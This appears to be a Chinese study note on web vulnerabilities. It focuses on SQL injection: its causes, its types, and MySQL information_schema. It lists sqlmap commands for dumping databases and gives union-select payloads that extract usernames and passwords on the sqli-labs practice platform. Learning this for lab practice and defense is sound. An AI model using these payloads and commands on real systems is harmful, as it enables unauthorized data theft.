🌟🌟笔记来源📒:11.WEB漏洞——SQL注入之必懂知识点 · 语雀
(这个博主笔记写的太详细了,看他的比看我自己的还有用,借用方便日后复习)
一、web漏洞必懂知识点
1、常见web漏洞的危害⚠️
(1)、sql注入
(2)、xss
(3)、xxe🌟
(4)、文件上传
(5)、文件包含
(6)、文件读取
(7)、csrf(用户请求伪造)
(8)、ssrf(服务器端请求伪造)
(9)、反序列化
(10)、代码执行
(11)、逻辑漏洞
(12)、未授权访问
敏感信息泄漏
(13)、命令执行
(14)、目录遍历
2、等级划分
(1)高危漏洞:
SQL注入、文件上传、文件包含、代码执行、未授权访问、命令执行。
影响:直接影响到网站权限和数据库权限,能够获取数据或者网站的敏感文件。涉及到数据安全和权限的丢失都为高危漏洞。
(2)中危漏洞
反序列化、逻辑安全。
(3)低危漏洞
XSS跨站、目录遍历、文件读取
影响:网站的源码,网站部分账号密码
3、应用
( pikachu漏洞练习平台,gihub下载源码,phpstudy搭建)
CTF:SQL注入、文件上传、反序列化、代码执行;
SRC:图片上漏洞都能出现,逻辑安全出现比较多;
红蓝对抗:涉及的高危漏洞,文件上传、文件包含、代码执行、命令执行。
二、sql注入
1、简要sql注入
(1)sql注入产生原理:
1)对用户输入的参数没有进行严格过滤(如过滤单双引号 尖括号等),就被带到数据库执行,造成了SQL注入;
2)使用了字符串拼接的方式构造SQL语句。
(2)sql注入分类:
1)按注入手法分类可以分为:联合查询注入、报错型注入、布尔型注入、延时注入、堆叠注入
2)按数据类型上可以分为:字符型(即输入的输入使用符号进行过滤)、数值型(即输入的输入未使用符号进行过滤)
3)从注入位置可以分类为:GET数据(提交数据方式为GET,大多存在地址栏)、POST数据(提交数据方式为POST,大多存在输入框中)、HTTP头部(提交数据方式为HTTP头部)、cookie数据(提交数据方式为cookie)
(3)sql注入危害:
(4)前置知识
1)在MYSQL5.0以上版本中,MYSQL存在一个自带数据库名为information_schema,它是一个存储记录有所有数据库名,表名,列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或者列名信息。
2)数据库中符号"."代表下一级,如xiaodi.user表示xiaodi数据库下的user表名。
3)参数:
information_schema.tables:记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
table_name:表名
column_name:列名
table_schema:数据库名
user() 查看当前MySQL登录的用户名
database() 查看当前使用MySQL数据库名
version() 查看当前MySQL版本
(5)注入点判断
(6)sql注入步骤:
1)注入语句
2)sqlmap利用
a)获取数据库名
get型:python sqlmap.py -u "url" --cookie="" --dbs --batch
post型: python sqlmap.py -u "url" --cookie="" --data="payload值" --dbs --batch
b)获取表名
get型:python sqlmap.py -u "url" --cookie="" -D 数据库名 --tables --batch
post型:python sqlmap.py -u "url" --cookie="" --data="payload值" -D 数据库名 --tables --batch
c)获取表内信息
get型:python sqlmap.py -u "url" --cookie="" -D 数据库名 --tables -T 表名 --dump --batch
post型:python sqlmap.py -u "url" --cookie="" --data="payload值" -D 数据库名 --tables -T 表名 --dump --batch
(7)演示
(推荐sqlilabs平台练习,专门的sql注入练习平台)
法一、sql注入语句
1)测试:
//输入特殊字符网页出现错误,说明带数据库查询有注入点,存在sql注入漏洞,经过尝试,发现单引号可将语句闭合,网页对#进行url转义,使用%23代替,注释掉后面的语句
2)order by查询列数:
3列不报错,4列报错,所以有3列
3)联合查询,查询数据库名称(使用联合查询,需要将前面查询的内容改为不可能情况):
union select 1,2,3
第一列不显示,因此在2或3列查询数据库名称:
union select 1,database(),3
4)联合查询数据库表名
union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3%
5)查询表中敏感列信息:
union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users')
6)进一步查询列中敏感信息,如username、password
union select(group_concat(username,password) from users)
2、mysql注入
3、类型及提交注入
4、oracle、mangodb注入等
5、查询方式及报错盲注
6、二次、加解密、dns等注入
7、堆叠及waf绕过注入
8、sqlmap绕过waf
三、文件上传